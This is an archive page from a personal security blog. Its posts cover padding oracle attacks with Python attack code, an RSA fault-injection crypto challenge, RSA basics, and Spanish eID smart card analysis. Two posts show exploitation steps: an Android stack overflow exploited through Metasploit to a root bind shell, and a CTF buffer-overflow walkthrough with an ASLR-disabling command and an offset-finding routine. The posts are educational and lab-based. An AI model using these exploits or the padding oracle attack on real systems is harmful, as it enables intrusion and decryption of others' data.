Limited Entropy Dot Com Not so random thoughts on security featured by Eloi Sanfèlix

5Jul/101

Understanding Padding Oracle attacks

It's been a long time I haven't written anything here... I've had to travel for work and have been doing other things and didn't find the right moment to write about anything useful. But a few days ago I decided to take a look at Padding Oracle attacks after hearing several times about them, and I thought it would be nice to share with you guys.

Padding Oracle attacks were introduced in 2002 in paper [1]. After that, several other papers have presented similar attacks based on the same concept for other padding schemes. In this post, I will restrict myself to the padding scheme presented in [1] and will add a list of references at the end for further reading.

Oracles and Padding Oracles

In cryptography, an oracle is basically a black box that responds to queries. For instance, an encryption oracle will encrypt any input you give to it under a certain key. A random oracle will always respond with uniformly random data, and this is useful to model protocols based on hash functions.

In our case, we are interested on padding oracles (PO). A PO is a sort of black box that decrypts an input message and tells you whether the padding was correct or not. For instance, think of an application that receives an input ciphertext and decrypts it using a block cipher.

Since a block cipher encrypts data in chunks of a given size, whenever the data to be encrypted does not fit exactly in a number of chunks it needs to be padded. Thus, after decryption our example application will check the padding applied and will throw an exception if the padding is incorrect. If it is correct, it will just continue with its normal processing.

As you can see, this application is an example of a padding oracle because it is telling us whether the padding is correct or not. We can check the behavior of the application and when we observe an exception we know that the padding was incorrect. When we do not, we know it was correct.

Mounting attacks based on padding oracles

So, how can we use such a PO to mount an attack on the system? The answer is it depends on the underlying cipher mode and on whether it is used properly or not, of course. Assuming the application uses a cipher in CBC mode, and it does only use encryption but no authentication, we can feed the application with specially crafted ciphertext and make assumptions about the plaintext based on the response.

Before going into the attack method, let's define the padding system we are going to look at. The PKCS#5 standard defines a padding scheme that works as follows: If the message length is a multiple of the block length, the padding scheme adds an extra block with all bytes set to the number of bytes in a block. Otherwise, the remaining bytes will be set to the number of padding bytes that need to be added to have an exact number of blocks.

If the block size is 8 bytes, then for a 7 bytes message you will add a byte set to 01; for a 6 bytes message, 2 bytes set to 02, and so on. I bet you get the idea :)

Now, when you decrypt in CBC mode, the process works as described earlier in this blog: first you decrypt a block, and then XOR it with the previous ciphertext block (or the IV if it is the initial block). This means that if you get a random data block, then append a target ciphertext block to it, and feed it into the random oracle, you will know whether the decryption of your ciphertext block XORed with your random data adheres to the padding scheme or not.

So, now we know that the decrypted message XORed our random data ends with either 1 byte set to 0x01, or 2 bytes set to 0x02, or 3 bytes set to 0x03, etc. In the most likely case, you'll be lucky with the first option. However, you still need to check, since it might be that by chance you got one of the other options.

How do you know then? Easy: start modifying bytes one at a time and feed them to the Oracle. To make it generic, start from the left-most byte. Modify it, and check with the oracle if the padding is incorrect. If it is incorrect, that means this byte was part of the padding, so the whole thing should be all 0x08's (assuming 8 byte blocks). If it is correct, continue with the next byte until you see that the padding turns incorrect or you reach the last byte.

This is what the original last byte decryption algorithm describes:

1. pick a few random bytes r1 , . . . , rb and take i = 0
2. pick r = r1 . . . rb-1 (rb XOR i)
3. if O(r|y) = 0 then increment i and go back to the previous step
4. replace rb by rb XOR i
5. for n = b down to 2 do
(a) take r = r1 . . . rb-n (rb-n+1 XOR 1)rb-n+2 . . . rb
(b) if O(r|y) = 0 then stop and output (rb-n+1 XOR n) . . . (rb XOR n)
6. output rb XOR 1

In the description above, b is the number of bytes in a block. In steps 1 to 3 it is discovering the last byte as I explained above. It creates b random bytes, and modifies only the last one until it gets a message with the right padding. Then it replaces this last byte with the correct value.

Now, using this value for r it has a good padding, so it starts modifying the bytes from the top and checking if this changes the results. If the result is not affected in any of the cases, then the last byte was set to 0x01 after decryption, and this means the last byte of the decrypted plaintext is our random byte rb XORed with 0x01. The same holds for the other cases, only that you need to XOR the random bytes with the appropriate value.

So the above algorithm works for the last byte, and if you are lucky for some other bytes as well. How do we turn it into a block decryption oracle?

Quite simple: assuming you know the final X bytes, generate a random block that after XORing with those known bytes sets the result to X+1. Now, the final block ends with an unknown byte followed by X bytes set to X+1... so now you start trying values to XOR with that unknown byte until you get a good padding response. At that point, you know that this unknown byte XORed the random data you supplied must give X+1 as a result to form a good padding (remember, good padding = Y last bytes set to a value Y).

So now you know one more byte, and you only need to iterate all the way till the end of the block to finish the decryption. The following algorithm was provided in the original paper:

1. take rk = ak XOR (b - j + 2) for k = j, . . . , b
2. pick r1 , . . . , rj-1 at random and take i = 0
3. take r = r1 . . . rj-2 (rj-1 XOR i) rj . . . rb
4. if O(r|y) = 0 then increment i and go back to the previous step
5. output rj-1 XOR i XOR (b - j + 2)

In this case, ak with k=j,...,b are the bytes you know. In step 1 you generate the random bytes that would set the final bytes to the appropriate value. Then you add some random numbers to them, and loop through the possible values for the unknown byte until you find the one that creates a proper padding (step 4). From this one, you construct the value for the unknown byte and return it in step 5.

Implementing the attack in Python

To make sure I understood what I explained above in the right way, I created a small python class able to decrypt any input block given a padding oracle. The class constructor takes an input block size together with a padding oracle in the form of a function returning a boolean value.

This means you can construct your own padding oracle function in python, which will simply return True or False depending on whether the padding was correct or not. This function can be a simple POC to test the concept or can be a function using a padding oracle present on a web site or whatever you can think of. See the presentation by Juliano Rizzo and Thai Duong ([3]) linked at the end for ideas ;) .

By the way, the code quality might not be very good and some things might be done easier in Python than I've done them. I'm pretty new to Python so if you see anything you think should be changed let me know ;-) . As for the code, you can do whatever you like with it.

As an example, I've used the following code to test the class:

'''
Created on Jul 4, 2010
 
@author: Eloi Sanfelix < eloi AT limited-entropy.com >
'''
 
from PaddingOracle.DecryptionOracle import DecryptionOracle
from Crypto.Cipher import DES
import random
import struct
 
def hex_string(data):
    x = struct.unpack("B"*len(data),data)
    return "".join([ hex(i)+" " for i in x])
 
#Random key globally initialized 
key = "".join([struct.pack("B",random.getrandbits(8)) for i in range(8) ])
 
def oracle(ctext):
    oracleCipher = DES.new(key,DES.MODE_CBC,"\x00"*8)
    ptext = oracleCipher.decrypt(ctext)
 
    paddingLen = struct.unpack("B",ptext[-1])[0]
    goodPadding = (ptext[-paddingLen:] == struct.pack("B",paddingLen)*paddingLen)
 
    return goodPadding
 
if __name__ == '__main__':
 
    #Random 2 block plaintext
    bytes = ""
    data = "".join([struct.pack("B",random.getrandbits(8)) for i in range(16) ])
    print "Plaintext: "+hex_string(data)
 
    cipher = DES.new(key,DES.MODE_CBC,"\x00"*8)
    ctext = cipher.encrypt(data)
 
    print "Ciphertext: "+hex_string(ctext)
 
    decryptOracle = DecryptionOracle(oracle,8)
 
    #Recover first block
    result = decryptOracle.decrypt_message(ctext)
 
    if(data == result ):
        print "CORRECT ptext recovered: "+hex_string(result)
    else:
        print "INCORRECT ptext recovered: "+hex_string(result)

Which provided the following output:

eloi:~/dev/PaddingOracle/src$ python PaddingOracleTest/DesPaddingOracle.py 
Plaintext: 0xd4 0xe2 0x4b 0xdf 0xed 0xad 0x75 0x58 0xfa 0x0 0xa5 0x45 0x17 0xc7 0x9b 0x5f 
Ciphertext: 0x98 0x8 0xd8 0xaf 0x69 0xab 0x34 0xe1 0x4a 0x61 0xa7 0x34 0xb2 0xc8 0xf 0x2b 
CORRECT ptext recovered: 0xd4 0xe2 0x4b 0xdf 0xed 0xad 0x75 0x58 0xfa 0x0 0xa5 0x45 0x17 0xc7 0x9b 0x5f 
eloi:~/dev/PaddingOracle/src$

You can see it works for my test case. I also tested it using AES encryption insted of DES and it works fine there too, which gives me confidence enough that the concepts above are correctly explained and the tool works appropriately :)

You can download the whole package with my DecryptionOracle class and the test cases here.

Hope you enjoyed it and I'm looking forward to see your feedback in the comments!

References

There is more to padding oracle attacks than exposed here. If you want to know more, you can check the following resources. I might be implementing other attacks as well in the future, but the fastest way to know more will be to read these papers:

[1] Security Flaws Induced by CBC Padding. Applications to SSL, IPSEC, WTLS... - S. Vaudenay - Download here
[2] Padding Oracle Attacks on the ISO CBC Mode Encryption Standard - K.G Patterson and A. Yau . Download here
[3] Practical Padding Oracle Attacks . Juliano Rizzo and Thai Duong . Download here

Filed under: General 1 Comment
27Apr/102

Understanding the DNIe, Part III: Hashing and signing

Here I come with yet another post about the DNIe. In the previous posts, we have seen how the device authentication procedure works and how to use the resulting keys to perform secure messaging. Now it's time to see how to ask the device to perform a hash on the input data and how to perform electronic signatures on it.

I'll start off with the description of the standard and continue with an explanation on how the DNIe drivers do it. Yes, you are reading it right, they use different APDUs than the ones defined in CWA14890, at least in the OpenSC module I'm using as a base for this analysis.

18Apr/106

A story about Chinese, Bells and Injections : CPEU Wargame challenge

I wanted to share with you guys the little challenge I prepared for the Campus Party Europe. The wargame was organized by SecurityByDefault and took place during the last couple of days.

I was asked to prepare a cryptography challenge for it, and I delivered a little problem that became the level 4 challenge in the crypto category. The problem is based around RSA with 2048 bit keys and AES in ECB mode with 128 bit keys.

The idea was to give some real crypto instead of the typical break-classic-crypto or find-the-needle-in-the-haystack challenges. Of course, I am not asking you to factor an RSA-2048 modulo (well, I am, in a way...) nor breaking AES in a mathematical sense because that is not feasible nowadays. You have to find the trick ;-) .

Want to challenge yourself? Give it a try!

I'll leave the challenge here, and the solution will be published in SecurityByDefault in some time. If you have questions or want to share ideas with me you can use the comments, but please do not spoil the solution for other readers!

These are the instructions:

Dear agent,

In one of our missions we have intercepted an email containing a file encrypted with AES in ECB mode with a 128 bit key. Together with the file there was what we suspect is the AES key encrypted with a 2048 RSA key, which we found to be as follows:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6FJCdwpmaYxkSWFa1I9w
5f9/ScpFM0N9hTZ+GvOPMao1lI6zP5eI9xZKHdXDh1v4a2k72MyC4svL0Bz30bRR
72fLcpD6eQ7hAiTjcls3trw9U1banQ+6weBrsm/yQwPZBtPJZsgbGZp4ue8CKw+5
KOWC/AzgKVf2sWQhAfkug0qrRySe5AjCkdP86HLBRGkSMTf02kkoAHUDNkcgafTi
S0oOPuUVha54aEOjwDlhwhKh45TScegmFMTnqh1dpBYBH5tAgajkcGV1Gt7eUdCQ
l/uKQay+LlRcttQEQB1ZFsP2hhbpZnmzX3d0qeRCsZh0FLAi7gbwD6w93bYUGUPl
UwIDAQAB
-----END PUBLIC KEY-----

The encrypted AES key is as follows:

19303a82cbc50a56dc22f9aafc554da2ea632e33bee1d33c35edb13269ba0fd2fa791744e86eda7fc1cb15433f1232f86a42afcd5470215ccf0d05096ce1b8f075e6dc45df74896345297fcc145a4765aeaea78babaa6441ead3a2e73b37931dc7c07d4e04b7115284c7c04c85a61c7e555194d0f4ee762d47a8aeec2efcd75ee45e3e6a65f876f9a67aa01016f3ce9552d8f0b50cc150c70333aa6ac3a4ac8860d2879cad8439566f0ffda32612cb75dd9c1b456a4e1828582f05932f495452f19d71f300f2f48b8c1f8cde1b1b8d8ada3f6ff506e10d5d18d91d61402bc36756a88196381ff795980eee932a179525264e3a968f0abe9edbe672560c41833a

Although it was a tough mission, our Operations team did a great job and was able to provide the following information on the target:

- It uses a cryptographic device that contains a 1024 bit modular exponentiation accelerator
- The device uses the same key for decryption and for signature generation

In addition, the Operations team modified the hardware used by our target and was able to collect a pair of RSA signatures over the same data. One of these signatures contains a fault injected thanks to our hardware modification, while the other one is the correct signature. These are the signature values:

S1:
3ae81964c8ecf1524b47c42cb0ecd2a3b6768dccd55960d7ff0a998f839b8c312a2cd821c270ae961777dd4dd50aa631fe823a8afd914911adf69c1c6cfda3b3aed01dad372cfdd6e9f63a4cc39e1a455cbfd04dea72bf07c4790d5fec469198ce28113d6d38a7baced9d3c3695ab27cbc5ab434aa8d2b5f53f66a383e079ddaed485d4a2b446e410eafcadbba9f159494c28c4a19fd416dff90f8c141e96d8260f8e6e0901832e31899c48ce0cbdae6a24595a19a01e490c87e7b48860e09006920d8ef7384217358c6db90638d6e8cbc795a091240f24105d8f3b27fe4b98fe9a507e00590b4cded41777b1b8967b0f752231e0e856b8f0132bde30a6e082e

S2:
391e0340e5931a202012572ddacad877e5af3a1d846b70c1e64e3041f9ac0a3c7e8f82621df908eadca44fe777a6b1c799610be829e13ca233982fd268034addb5a79fa19f984631fdf3a61d32fc75ed77176c7a0b719504e804076dca66f10111aa124a7efe743ada75dda2ec53f3c28882a7724928685918261739f960a3648aa3eadc426181aa146a8ba0ff20f1c53de2113e0196af09595dc2ad1a0fe12096ff681f61363044615a7f72edf1f8c6531055e66c1e5f4498434c731d2308fecae46c779379ea3d7d7a5f1c2a0efeb5bc1b8a4af4fb21fce1dae943c27043e86642b3b1e6b889a31e7c4bc01bc2ebae4dc8432344532567d1d3df8b9bcafcbf

Unfortunately, the team was not able to obtain the private RSA key nor decrypt the AES file. It is critical for the mission to obtain the contents of the encrypted file. Your task is to obtain the contents of the AES file.

Good luck!

PS: All RSA operations are RAW operations. This means no padding, just modular exponentiation. For keys smaller than the modulus, the padding is null (i.e. zero bytes).

And the file encrypted with AES can be found here.

18Apr/100

Crypto Series: Introduction to the RSA algorithm

After seeing how the ElGamal system works, today we are going to take a look at the RSA public key cryptosystem. The RSA algorithm was first published by Rivest, Shamir and Adleman in 1978 and is probably the most used crypto algorithm today.

Despite this fact, the algorithm seems to have been invented by Clifford Cocks, a british mathematician who worked for a UK intelligence agency. Since this work was never published due to the top-secret classification, the algorithm received its name from Rivest, Shamir and Adleman who were the first to discuss it publicly. A document declassified in 1997 revealed the fact that Clifford Cocks had actually described an equivalent system in 1973.

Let me remind you once again that these posts are not intended to be 100% accurate in a mathematical sense, but an introduction for people who doesn't know much about cryptography. If you want more accurate and complete descriptions, take a crypto book such as the Handbook of Applied Cryptography I've linked in most of my posts :) .

Setting up the RSA algorithm

The RSA algorithm is based on the assumption that integer factorization is a difficult problem. This means that given a large value n, it is difficult to find the prime factors that make up n.

Based on this assumption, when Alice and Bob want to use RSA for their communications, each of them generates a big number n which is the product of two primes p,q with approximately the same length.

n = p\cdot q

Next, they choose their public exponent e, modulo n. Typical values for e include 3 (which is not recommended!) and 2^{16}+1 (65537). From e, they compute their private exponent d so that:

e \cdot d \equiv 1 \pmod{\varphi(n)}

Where \varphi(n) is the Euler's totient of n. This is a mathematical function which is equal to the number of numbers smaller than n which are comprimes with n, i.e. numbers that do not have any common factor with n. If n is a prime p, then its totient is p-1 since all numbers below p are comprimes with p.

In the case of the RSA setup, n is the product of two primes. In that case, the resulting value is lcm((p-1)(q-1)) because only the multiples of p and q are not comprimes with n.

Once our two parties have their respective public and private exponents, they can share the public exponents and the modulus they computed.

Encryption with RSA

Once the public key (i.e. e and n) of the receiving end of the communication is known, the sending party can encrypt messages like this:

c = m^e \pmod{n}

When this message is received, it can be decrypted using the private key and a modular exponentiation as well:

m^{\prime} = c^d \pmod{n} = m

Example

sage: p=random_prime(10000)
sage: q=random_prime(10000)
sage: n=p*q
sage: p,q,n
(883, 2749, 2427367)
sage: e=17
sage: G=IntegerModRing(lcm(p-1,q-1))
sage: d = G(e)^-1
sage: G(d)*G(e)
1
sage: m=1337
sage: G2=IntegerModRing(n)
sage: c=G2(m)^e
sage: c
1035365
sage: m_prime=G2(c)^d
sage: m_prime
1337

In the commands above, I first create two random primes below 10000 and compute n. Then I create a IntegerModRing object to compute things modulo lcm(p-1,q-1) and perform the computation of the private exponent as the inverse of the public exponent on that ring.

Next, I create a new ring modulo N. Then I can use the public exponent to encrypt a message m and use the private exponent to decipher the cryptotext c... and it works!

Correctness of RSA encryption/decryption

We have seen it works with our previous example, but that doesn't prove that it really works always. I could have chosen the numbers carefully for my example and make them work.

Euler's theorem tells us that given a number n and another number a which does not divide n the following is true:

a^{\varphi(n)} \equiv 1 \pmod{n}

Therefore, and since e\cdot d \equiv 1 \pmod{\varphi(n)} , for any message m that does not divide n the encryption and decryption process will work fine. However, for values of m that divide n we need to use more advanced maths to prove the correctness.

Another way to prove it is to use Fermat's little theorem and the Chinese Remainder Theorem. I will explain these theorems in my next post and then I will provide a complete proof based on them.

RSA for signing

In the case of RSA, digital signatures can be easily computed by just using d instead of e. So, for an RSA signature one would take message m and compute its hash H(m). Then, one would compute the signature s as:

s = (H(m))^d \pmod{n}

For verifying the signature, the receiving end would have to compute the message hash H(m) and compare it to the hash contained in the signature:

H'(m) = s^e \pmod{n} \equiv (H(m)^d)^e \pmod{n} \equiv H(m) \pmod{n}

Therefore, if the hash computed over the received message matches the one computed from the signature, the message has not been altered and comes from the claimed sender.

Security of RSA

In order to completely break RSA, one would have to factor n into it's two prime factors, p and q. Otherwise, computing d from e would be hard because (p-1) and (q-1) are not known and n is a large number (which means that computing its totient is also difficult).

In a few posts I will show an algorithm to solve the factorization problem. However, another way to break RSA encrypted messages would be to solve a discrete logarithm. Indeed, since c=m^e \pmod{n} , if one solves the discrete logarithm of c modulo n, the message would be recovered.

Luckily, we already know that discrete logs are not easy to compute. And in this case, solving one does not break the whole system but just one message.

15Apr/104

RootedCON: Examples + small summary

It's been almost a month since RootedCON, but I didn't have any time to spend on preparing the .tgz file with the example shellcodes, poc apps and exploits we showed during our talk. And neither did I publish any kind of summary or anything about the event...

You can also find Javi's post on the RootedCON here. It's in Spanish, don't say I didn't warn ;-) . You can also find the slides of our presentation here.

Examples from our presentation on Android exploitation

First things first, here is the examples we used during the presentation. As a quick summary, this is how I use the buffer overflow exploit.

First, launch the emulator and wait for it to start. Then, with adb you need to forward a couple of ports: 2000 for the vulnerable apps and whatever you like for your bind shell. Then you can launch the binary, which I had uploaded using adb push to /data/bin/myapp:

eloi@EloiLT:~/android/paper$ adb forward tcp:2000 tcp:2000
eloi@EloiLT:~/android/paper$ adb forward tcp:2222 tcp:2222
eloi@EloiLT:~/android/paper$ adb shell
# /data/bin/myapp

Now, you can launch the exploit from metasploit:

msf &gt; use exploit/linux/misc/android_stack
msf exploit(android_stack) &gt; set payload linux/armle/shell_bind_tcp
payload =&gt; linux/armle/shell_bind_tcp
msf exploit(android_stack) &gt; set RPORT 2000
RPORT =&gt; 2000
msf exploit(android_stack) &gt; set LPORT 2222
LPORT =&gt; 2222
msf exploit(android_stack) &gt; exploit
 
[*] Started bind handler
[*] Command shell session 1 opened (127.0.0.1:55207 -&gt; 127.0.0.1:2222)
 
[*] Command shell session 1 closed.
msf exploit(android_stack) &gt; exploit
 
[*] Started bind handler
[*] Command shell session 2 opened (127.0.0.1:34834 -&gt; 127.0.0.1:2222)
 
/system/bin/id
uid=0(root) gid=0(root)
exit
 
[*] Command shell session 2 closed.
msf exploit(android_stack) &gt;

The same thing applies to the cpp_challenge demo application. You just use a different exploit, but that's it. Beware that you might have to tune some addresses on your local installation, as they are hardcoded. However, I believe they should be static for every installation.

In addition to apps and the metasploit stuff, you can also find two kernel modules. One is a simple find syscall table module, and the other one is a keyboard logger. The latter only works for linux >= 2.6.28, for earlier versions you need to change it slightly.

RootedCON mini-summary

I won't spend much time on it, as it's been quite some time already and I don't feel like writing a complete summary of it.

Overall I think it was a great event. Sure there is stuff that can be improved as everywhere, but for being the first edition it was very good. From the talks I attended, in my opinion there were great talks but also a one or two I didn't really like. On our side, we are pretty happy with the way it was received and the reactions we have seen :)

Besides the talks, and probably even more important, it was great to meet so many people that I'd only know through the Internet otherwise. Cheers to all of you guys, hope to see you next year at RootedCON or maybe earlier somewhere else :)

12Apr/103

Understanding the DNIe, Part II : Secure Messaging

Let's go a little further in our way to understand the way the DNIe works. In my previous post I talked about the device authentication procedure and today I'll talk about what happens next, how Secure Messaging protects all the subsequent communication.

By the way, I updated the previous post with information on how to get the card's serial number.

Device authentication, quick reminder

As I said in the previous blog, the device authentication phase consists of the following steps:

  • Certificate exchange: The terminal (IFD) requests a X.509 certificate from the card and sends its own certificate and an intermediate CA's certificate to the card
  • Internal authenticate: The IFD sends a random challenge to the card and requests it to authenticate itself. This is done with an RSA signature, which is then encrypted for the IFD, and includes a 32 byte random number known as Kicc.
  • External authenticate: The terminal authenticates itself, requesting a challenge from the card and sending a signed and encrypted message to the card. Again, this message includes a 32 byte random number known as Kifd.
  • Key generation: both ends generate a key for encryption and a key for authentication. This is done by XORing first the two random numbers, and computing then the SHA-1 hash of the result with a constant 1 appended for the encryption key and a constant 2 for the authentication (MAC) key.

So basically at the end of this process, both ends share a pair of keys that can be used for protecting the confidentiality and the integrity of subsequent messages.

Let's see how this is done.

22Mar/103

RootedCON CTF write-up ‘hello’ challenge

As you probably know, last week I was at RootedCON. During the congress, a Caputre The Flag contest was organized, where each participant had to resolve several challenges.

Although I didn't register for the contest, I got a copy of one of the binaries from a friend of mine. I'm sorry to be too late for it, if I had been on time he would have won a 1000 euro prize... but I had no time due to my talk. Sorry dude!

However, yesterday morning I had some spare time after the other guys left the hotel and during my flight, so I gave it a try. Yesterday during one of the talks I did a preliminary reverse engineering session with IDA Pro and quickly spotted the flaw: as the hints said, it was a stack buffer overflow using sprintf() in the say_something function :

public say_something
say_something proc near
 
var_118= dword ptr -118h
var_114= dword ptr -114h
var_110= dword ptr -110h
var_106= byte ptr -106h
var_C= dword ptr -0Ch
arg_0= dword ptr  8
 
push    ebp
mov     ebp, esp
sub     esp, 118h
mov     [esp+118h+var_110], 3E8h
mov     [esp+118h+var_114], 0
mov     [esp+118h+var_118], offset petete
call    _memset
mov     [esp+118h+var_110], 3E8h
mov     [esp+118h+var_114], offset petete
mov     eax, [ebp+arg_0]
mov     [esp+118h+var_118], eax
call    _read
mov     [ebp+var_C], eax
mov     eax, offset aHolaS ; "Hola %s"
mov     [esp+118h+var_110], offset petete
mov     [esp+118h+var_114], eax
lea     eax, [ebp+var_106]
mov     [esp+118h+var_118], eax
call    _sprintf
mov     eax, [ebp+var_C]
add     eax, 5
mov     [esp+118h+var_110], eax
lea     eax, [ebp+var_106]
mov     [esp+118h+var_114], eax
mov     eax, [ebp+arg_0]
mov     [esp+118h+var_118], eax
call    _write
mov     [esp+118h+var_110], 1
mov     [esp+118h+var_114], offset asc_8048F3B ; "\n"
mov     eax, [ebp+arg_0]
mov     [esp+118h+var_118], eax
call    _write
leave
retn
say_something endp

They also provided an address space map from /proc/pid/maps, where one can see that the stack ends at 0xc0000000, which is the default userspace/kernelspace boundary in Linux x86. This means that ASLR is not enabled, so I just disabled it:

# echo 0 > /proc/sys/kernel/randomize_va_space

Then, I tried to exploit it launching the binary from the shell. However, the binary goes through several steps before it reaches the vulnerable code path. First it is 'daemonized': it forks and the parent process exists while the child process continues in the background. Not too bad, you can just attach to the child process with gdb, but this is not the interesting process yet. After it is daemonized, it does something along the lines of the following C code:

 
if(setuid(0x837)==-1)
    die("could not drop privs");
 
 
if((pw_struct = getpwuid(0x837))==NULL)
    die("Could not get pw entry");
 
chdir(pw_struct->pw_dir);

And then the process creates a socket and binds it to the tcp port 7878 and listens for incoming connections. Once a connection is received, it forks and serves it in the child process, while the parent process just goes back to the listen loop. This last process is the one we'd like to analyze, since this is the one calling our vulnerable function.

All this means that we'll need to do one of two things to reach this vulnerable code during our analysis: either we create a user with the uid needed or we patch the program to bypass these calls or to ask for a different uid. I took the first approach.

So what I did was connecting with netcat and attaching to the last process before sending any data. Then I sent a 300 byte pattern generated with Metasploit's pattern_create.rb:

$ nc localhost 7878
<Attach to process with gdb>
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
eloi@EloiLT:~$

This is what happens in gdb:

Program received signal SIGSEGV, Segmentation fault.
0x41376941 in ?? ()

Great. It seems we control eip and this definitely looks like part of the metasploit pattern. Let's find which part it is:

$ ./pattern_offset.rb 41376941 300
261

Allright, we have 261 bytes before we hit eip. This is a weird number, but it's due to the fact that it uses sprintf() with 5 characters in front of our input. Now we can use gdb to find where the buffer starts, and we find it at 0xbffff1c2. So this is our current situation: we can enter 261 bytes of data, then we have eip which we control, and then we have still some more room (up to the 1000 bytes read by the daemon from the network).

So, we'll just fill the buffer with junk, then an address in the middle of our nop sled (such as 0xbffff380), then some nops and then our payload. Since we do not have ASLR or anything, this will just work. We use a nop sled to count for the different environment the CTF server would have: a different list of environment variables will make the stack move slightly up or down.

Now we can make a metasploit module for it, and just launch it:

 
msf > use exploit/linux/misc/ctf_rooted 
msf exploit(ctf_rooted) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(ctf_rooted) > set encoder x86/countdown
encoder => x86/countdown
msf exploit(ctf_rooted) > exploit
 
[*] Started bind handler
[*] Command shell session 1 opened (127.0.0.1:60111 -> 127.0.0.1:2222)
id
uid=1000(eloi) gid=1000(eloi) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(eloi)
pwd
/tmp
Abort session 1? [y/N]  y

The metasploit module can be found here. You can see that it is a pretty simple module and it works fine on my local machine. Maybe you need to change something in yours (at the very least, disabling randomize_va_space is required) but it should be very similar or identical.

I did actually fill the buffer with the return address repeated many times because it failed when I was not attached with gdb and wanted to be sure I was overwriting the saved eip. I didn't investigate the reason, just solved it putting the ret address instead of nops and making a slightly bigger nop sled than I had before.

Since it is a remote exploit and the environment may vary greatly from your own machine to the CTF machine, it is possible that some bruteforcing of the return address is needed. Anyway, the daemon continues alive even if your exploit fails, so it should be no problem.

Again, I'm sorry dude I could not help you on time. Anyway, I'm sure you guys had great fun with it!

Filed under: General 3 Comments
14Mar/101

RootedCON coming up!

Yes, it's finally there!

RootedCON will take place the coming week in Madrid, and I'll be there to present together with Javi some stuff about Android on Saturday. You can see our first slide spoiled by Javi on twitter here: http://twitpic.com/18f6cy

The schedule looks promising and I think we are going to have loads of fun :D

I'll be there the three days, so if you want to talk to me about anything interesting (info security, side channel analysis, cryptography, whatever...) or have a beer just drop by!

See you there!

Tagged as: 1 Comment
28Feb/105

Understanding the DNIe, Part I : Device Authentication

For a long time I wanted to have the opportunity to analyze the Spanish electronic ID, known in Spain as the DNIe. Last Christmas I was finally able to get an appointment with the appropriate police station in Spain and could get my brand new DNIe. Over a few posts I'm going to tell you how I've been trying to understand what the device does without access to any confidential information whatsoever, using information freely available on the Internet and analyzing communication logs between my PC and my DNIe.

The DNIe is a smart card implementing an E-SIGN application. This application is specified by the CWA-14890 documents (where CWA means CEN Workshop Agreement, and CEN means European Committee for Standardization ) and provides an interoperable framework for secure signature devices.

These devices are designed to be used for electronic signatures, and in the Spanish case it has replaced the identity document we have used for many years. It is an ISO 7816 compliant smart card, with (afaik) a custom operating system. The IC has received an EAL5+ Common Criteria certificate issued by the French scheme, while the ICC has been certified by the Spanish scheme and has obtained EAL4+.

This is all public documentation you can find on the Internet:

These documents show the Common Criteria certificates for the chip and the card, and the specifications of the protocol followed by the card.

Further, the Spanish Administration provides an OpenSC library in binary form, that one can use for communicating with the cards in Linux an Mac OS X. They also provide a CSP for Microsoft Windows. In the remainder of this post I'll explain my attempts at understanding how the device and the protocol work.

Everything has been done with consumer equipment on an Ubuntu 9.10 computer and using public documentation, thus everyone holding an actual DNIe should be able to reproduce these steps. Let's try to understand the details about this thing and how it communicates with our PC. We will start with the Device Authentication phase, which is the first thing that takes place when you use your eID.

Let me remind once again that I do not have access to any confidential information related to the DNIe, and therefore this is all public information. Also, I've done this analysis on my own free time sitting at home and using publicly available tools and a PCSC reader obtained from Tractis.

12Feb/100

Crypto Series – ElGamal Cryptosystem

In our last post we learnt about the Discrete Lograithm problem, why it is a difficult problem and how we can attempt to solve it if the numbers are manageable. Of course, in a real setting we wouldn't use 16 bit numbers as in my example, but at least 1024 bit numbers nowadays (and most likely even bigger numbers).

Now, we are going to see how to make  use of that problem to create a public key cryptosystem. We will look at how ElGamal uses the DL problem to provide public key encryption and digital signatures. Keep on reading if you are interested!